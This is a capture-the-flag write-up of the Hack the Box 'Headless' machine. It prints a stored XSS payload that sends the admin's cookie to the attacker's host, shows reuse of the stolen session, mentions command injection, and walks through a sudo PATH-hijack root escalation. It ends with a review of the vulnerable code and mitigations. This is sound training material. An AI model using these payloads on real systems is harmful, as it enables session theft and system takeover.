Hack the Box (HTB) - Headless
Stored XSS, Cookie Theft, & Path Injection
Enumeration
Let’s run our AutoRecon scan against our target at 10.10.11.8
We see the following ports open:
- TCP 22 (SSH openSSH 9.2p1 Debian)
- TCP 5000 (upnp?)
- UDP (None)
Let’s check out the service running on port 5000
Clicking on For Questions
we see the following:
We see some input fields here, let’s enter some information adn check the request in burp
We see that our XSS attempt on the message parameter gets rejected. We see this Hacking Attempt Dectected
screen.
Let’s try injecting in the user-agent header
1
User-Agent: <script>alert(1)</script>
So the User-Agent header is vulnerable to XSS
Judging by the message has been sent to the administrators for investigation
& the fact that we confirmed XSS on the user-agent header. We may be able to try a stored XSS attacker on the user-agent header, and trigger the alert in hopes to steal the admins cookie
1
2
<script>var i=new Image(); i.src="http://10.10.14.41:5000/?cookie="+btoa(document.cookie);
</script
This snippet of JavaScript will effectively send the user’s cookie to our python web sever by embedding them in the URL of a newly created image object
The string ``aXNfYWRtaW49SW5WelpYSWkudUFsbVhsVHZtOHZ5aWhqTmFQRFdudkJfWmZz` is a Base64-encoded version of the cookie that was stolen by our XSS payload
Let’s decode the cookie
1
echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
We get is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Obviously we need some sort of login to utilize this cookie. Let’s run a quick gobuster scan
1
gobuster dir -u http://10.10.11.8:5000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
We see the following directories:
- /support (Status: 200) [Size: 2363]
- /dashboard (Status: 500) [Size: 265]
Let’s visit /dashboard
We get this unauthorized response, ( as indicated by the 500 http response during our gobuster scan) but since we now have the admin cookie ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
we can simply edit our cookie in the developer tools and reload the page
We arrive at the admin dashboard at last! Let’s hit this Generate Report
button and check out the request in burp
It looks like this admin dashboard is vulnerable to command injection. This tends to happen because security is usually stronger on the outside of anything rather than the inside. But anyway, I digress, let’s get a revere shell going an take a look around
Privilege Escalation
As always let’s check a few things
Category | Command | Result |
---|---|---|
Current User & Group Perms (ID) | id | uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users) |
Kernel Version | uname -r | 6.1.0-18-amd64 |
SUDO Permissions | sudo -l | (ALL) NOPASSWD: /usr/bin/syscheck |
SUID Binaries | find / -perm 4000 2>/dev/null | Nothing |
Services Running as Root | netstat -antup | Nothing noteworthy |
Cron Jobs | ls -la /etc/cron.d find / -perm -2 -type f 2>/dev/null | Nothing noteworthy |
PATH | echo $PATH | /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
We’ll go for the low hanging fruit first and check out this SUDO permission which lets us run /usr/bin/syscheck
1
cat /usr/bin/syscheck
This script ensures it’s run by root, then reports the last kernel modification time, available disk space, and system load average. It checks if a process named init.db.sh
is running, and if not runs it
We might be able to exploit the syscheck script’s use of a relative path to execute initdb.sh and gain root access. The script runs as root, so if we create a fake file named initdb.sh with malicious content and place it in a directory that appears earlier in the system’s $PATH than the actual initdb.sh, the script will execute our fake version. This allows us to leverage the script’s behavior to gain root privileges
First we will change to our home directory
1
cd
Now let’s create our malicious file with the same name the script is calling
1
nano initdb.sh
Edit the bash script to spawn a shell
1
2
#!/bin/bash
/bin/bash
Make the file executable
1
chmod +x initdb.sh
Add our home directory to the $PATH
export PATH="$HOME:$PATH"
Finally, execute the syscheck script
1
sudo /usr/bin/syscheck
GG, we’ve rooted Headless!
Locating the XSS Vulnerabilities
Okay, so this box had an XSS vulnerability & a command injection vulnerablility. Let’s showcase that a little bit
The request_info dictionary, which contains the request details (including headers), is passed directly into the format_request_info function to be converted into an HTML string
Contrary to the if ("<" in message and ">" in message) or (" in message and " in message)
code above it that only checks for these characters in the message section
The formatted_request_info = format_request_info(request_info) html = render_template('hackattempt.html', request_info=formatted_request_info)
will render the information a HTML, including the headers (this is how we capture the admin cookie who views the hackattempt message)
The user-agent field could have been sanitized using the escape() function on the headers, method, and URL to prevent this attack. The escape() function in flask converts the special characters i na string to their corresponding HTML entities
The output would look something like this
1
2
3
4
5
6
7
8
# Safe Script
from flask import escape
safe_input = escape(user_input)
print(safe_input)
# Output
<script>alert('XSS')</script>
Now let’s find the command injection vulnerability discoverd in the admin pannel
This form submits a POST
reuqest with the data parameter to the dashboard endpoint. The data parameter is directly used in the os.popen call in the admin() function leading to command injection if an attacker uses malicious input.
The server has no validation on this HTML input. The admin here is simply trusting the input provided directly through the HTML forum because it’s the admin panel and not meant for any regular joe. But as we’ve demonstrated with every CTF you must enforce a zero trust policy to maintain good security.
The admin should take the collect the input via HTML and valide with serve-side python scripts (flask since that’s what this app was)
Vulnerability | Mitigation |
---|---|
XSS (Cross-Site Scripting) | Sanitize and validate all user inputs to prevent script injection. Implement Content Security Policy (CSP). |
Cookie Manipulation | Use secure flags (Secure , HttpOnly , SameSite ) for cookies. Validate and sanitize cookie data. |
Command Injection | Sanitize and validate all user inputs. Avoid executing shell commands with user-supplied data. Use parameterized commands when possible. |
Path Injection | Use absolute paths for file references. Validate and sanitize environment variables and inputs used in path construction. |